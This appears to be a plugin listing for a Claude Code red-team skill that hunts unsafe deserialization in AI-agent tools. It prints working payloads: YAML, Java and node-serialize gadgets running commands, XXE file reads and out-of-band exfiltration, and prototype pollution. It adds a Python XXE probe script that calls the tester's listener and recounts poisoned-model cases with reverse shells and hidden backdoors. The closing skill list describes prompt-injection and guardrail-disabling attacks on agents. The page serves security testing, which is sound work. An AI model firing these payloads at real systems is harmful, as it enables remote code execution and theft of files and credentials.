/claude-agenthunter:hunt-agent-deserializationfrom claude-agenthunter
Hunts unsafe deserialization vulnerabilities in AI-agent tools that parse YAML, pickle, JSON, XML, or TOML, and poisoned model artifacts from Hugging Face or registries. Confirms RCE via gadget chains for Python, Java, Node, .NET, PHP, Ruby.
Ships in claude-agenthunter. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Agents parse structured input — YAML configs, JSON, XML, pickle. If the parser deserializes into live objects, the tool is an RCE vector inside the service account's trust zone. The gadget is only right once you've identified the runtime.
yaml.constructor, SnakeYAML, Jackson, BinaryFormatter) → free runtime fingerprint.from_pretrained(...), torch.load, pickle.load, joblib.load, .pkl/.pt/.bin/.ckpt/.h5 — from Hugging Face or an internal registry. The artifact name is an untrusted dependency → registry-pickle RCE (see the model-artifact technique).RCE → cloud creds/metadata, secrets, source; XXE → internal file read + SSRF to internal services; poisoned model artifact → host RCE on load OR an in-model backdoor that survives sandbox/egress.
key: value / {"k":"v"} / <r><k>v</k></r>).yaml.load/pickle; Java ObjectInputStream/SnakeYAML/Jackson; Node node-serialize/js-yaml; .NET BinaryFormatter/YamlDotNet; PHP unserialize; Ruby YAML.load/Marshal. Fingerprint via errors/stack/system-prompt.hunt-agent-blind-exfil.!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:subprocess.check_output [["cat","<target_file>"]]
!!python/object/apply:builtins.open ["/etc/passwd","r"]
!!python/object/apply:subprocess.check_output [["sh","-c","nslookup $(id|base64).<oob>.example"]] # blind→OOB
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://<oob>/"]]]]
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"} # node-serialize
<?xml version="1.0"?><!DOCTYPE f [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>
<!-- blind OOB --><!DOCTYPE f [<!ENTITY % x SYSTEM "file:///etc/passwd"><!ENTITY % e SYSTEM "http://<oob>/?d=%x;">]>%e;
{"__proto__":{"isAdmin":true}}
Masked: {{7*7}}→SSTI; __class__.__bases__.__subclasses__; ${env:SECRET}; ../../../etc/passwd.
When the agent (or its build) loads a model/tokenizer/dataset from a hub (Hugging Face, an internal registry, a .pkl/.pt/.bin/.ckpt/joblib file), torch.load / pickle.load runs attacker opcodes on load — the poisoned artifact is a deserialization RCE with a supply-chain delivery. Distinct sink from a tool that parses request data: here the dependency is the payload.
nullifAI (ReversingLabs, disclosed 2025-01, HF removed in 24h): two PyTorch models shipped a reverse shell (→107.173.7.141) at the start of the pickle stream, then a broken opcode; 7z (not the default zip) dodged torch.load() and Picklescan, and because pickle executes opcodes sequentially the shell fired before the corruption error. Picklescan's blacklist "validate-then-scan" missed it — the models sat live 8+ months.Sleepy Pickle (Boyan Milanov, Trail of Bits, 2024-06): Fickling injects a payload that, on deserialize, modifies the model in place (weights or hooked inference methods) → planted backdoor, steered outputs, or data exfil via a hooked forward pass. No disk trace, one file, conditional activation, and it survives host sandbox/egress controls because it lives inside the model.
Field example: treat any pickle/torch.load of a hub-sourced artifact as untrusted-code execution. Fingerprint with Fickling (fickling --check model.pkl) and confirm by effect (a shell/OOB on load, or a behavioral trigger), never by "it loaded." 44.9% of popular HF models still ship pickle (PickleBall, below). Cross-ref hunt-agent-config-poisoning (artifact supply chain) and hunt-agent-mcp-supply-chain (registry provenance / no pinning).__proto__.A probe that reports clean because it never looked is the more common failure, and it reaches the client as "we tested it and found nothing". Before any negative:
yaml.load vs safe_load; pickle.loads on untrusted input; XXE enabled; unsafe JSON merge (__proto__); Jackson default typing; no post-deserialization validation. Model supply chain: loading pickle-format weights (torch.load/from_pretrained) from an unpinned/untrusted hub source; trusting Picklescan's blacklist scan (bypassable — nullifAI); no safetensors-only policy; no hash/signature pinning of model artifacts.
Field example: reproduced deterministically in lab/ — a restore endpoint calling pickle.loads on caller-supplied bytes. Control: a benign pickle round-trips ({'hello': 'world'}), proving the endpoint works before anything is concluded from a payload. The finding is a side effect on disk, not a returned string: the payload's __reduce__ invoked a callable of the attacker's choosing and a file appeared. Note the payload must reference a callable resolvable in the target process — a bound method or a function local to the exploit cannot be pickled at all, which is a common reason a real-world attempt looks like a clean negative. Gate: python3 lab/run_lab.py.
#!/usr/bin/env python3
# Fingerprint the parser and fire an OOB-confirmed XXE (the cleanest blind deserialization signal).
# Prints which format the tool accepts, and submits an XXE whose external DTD calls YOUR listener —
# a hit proves the XML parser resolves external entities (→ SSRF/LFI, often RCE-adjacent).
# deps: stdlib only. Run a listener on OOB first; escalate YAML/pickle only with authorization.
import json, urllib.request
TOOL = "https://target/agent/parse" # a tool that ingests a document you supply
COOKIE = "session=REPLACE"
OOB = "http://YOUR_IP:8000/xxe" # your HTTP listener
def submit(body, ctype):
r = urllib.request.Request(TOOL, data=body.encode(),
headers={"Cookie": COOKIE, "Content-Type": ctype}, method="POST")
try: return urllib.request.urlopen(r, timeout=30).read().decode("utf-8", "replace")
except Exception as e: return f"ERR {e}"
probes = {
"xml-xxe": (f'<?xml version="1.0"?><!DOCTYPE r [<!ENTITY x SYSTEM "{OOB}">]><r>&x;</r>', "application/xml"),
"yaml": ("marker: !!str probe", "application/x-yaml"), # if !!python/object accepted -> RCE risk
"json": ('{"marker":"probe"}', "application/json"),
}
for name, (body, ct) in probes.items():
print(f" {name:9} -> {submit(body, ct)[:120]!r}")
print(f"[i] watch {OOB} — a callback = XXE external-entity resolution confirmed (blind).")
# LETHAL WHEN: the OOB listener receives the XXE callback (SSRF/LFI proven), or a language-native
# gadget (yaml !!python/object, pickle, Marshal, BinaryFormatter) yields `id`/a marker via OOB — RCE.
# A parser error or a reflected "probe" string is NOT execution.
hunt-agent-tool-injection · hunt-agent-blind-exfil · ai-agent-methodology · redteam-mindset
What SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub elementalsouls/claude-agenthunter --plugin claude-agenthunter24 skills in this plugin
/ai-agent-methodologyMaster orchestrator for AI-agent red-team assessments — enterprise copilots, DevOps/SRE agents, RAG assistants, coding/IDE agents, MCP/A2A tool servers, autonomous workflow agents. Load at the START of any agent test, when facing a new agent target, or when unsure what to test next. Routes to the hunt-agent-* skills by tool surface and architecture, and enforces the discipline that makes findings genuine: characterize first, verify every claim, reproduce, extract the minimum./hunt-agent-auth-bypassAuthorization bypass in AI-agent tools — role/persona claims, unverifiable named-credential exceptions, privilege fields inside attacker-supplied credential documents, privilege escalation via prompt injection, data-classification override, and 'I-am-the-admin' attacks against prompt-level access control. Use when tools are gated by who is asking, or by a document the caller supplies, rather than by real authentication./hunt-agent-blind-exfilExtract data from AI-agent tools that execute but hide output — status-only, exit-code-only, or DLP-filtered. Characterize FIRST (visibility, allowlist, egress), then pick a channel: OOB DNS/HTTP, DLP-bypass via an unfiltered tool, boolean exit-code oracle, or timing. The channel that works is the one the filter doesn't inspect./hunt-agent-browser-useAttacks specific to computer-use and browser agents — agents that see a screen/DOM and act by clicking, typing, and navigating (AI browsers like Comet/Atlas, ChatGPT Operator, Claude Computer-Use, RPA copilots). Covers indirect injection through rendered page content the agent reads as instructions, screenshot/OCR-smuggled instructions invisible to humans, adversarial-pixel perturbation of a single image, screen TOCTOU (UI swaps under the agent between decision and click), deep-link/omnibox abuse, and the same-origin-policy collapse when one agent acts across all the user's authenticated tabs. Use when the target agent operates a browser or desktop by vision/DOM rather than a fixed tool API./hunt-agent-brute-forceBrute-force and rate-limiting weaknesses in AI-agent tools — PIN/token/password guessing with no lockout, and feedback oracles (correct-digit / too-high-low / Mastermind-style) that collapse the search space. Use when a tool accepts guesses and returns feedback without throttling./hunt-agent-config-poisoningThe agent's OWN configuration, instruction, and settings files as an attack surface — CLAUDE.md / AGENTS.md / .cursorrules / copilot-instructions.md, .vscode/settings.json, .claude/settings.json, .cursor/mcp.json / .mcp.json, hooks, and allowlist/YOLO toggles. A repo, doc, or upstream agent plants instructions or config the agent reads and trusts, so it emits backdoored code, disables its own guardrails, auto-approves tools, or runs a command at startup — often before any trust dialog. This is the self-write-to-execute class: distinct from mcp-supply-chain (third-party tool descriptions) and memory-poisoning (model/RAG memory). Use for coding/IDE/CLI agents and any agent that reads project config or can write its own config.Other plugins' skills for the same job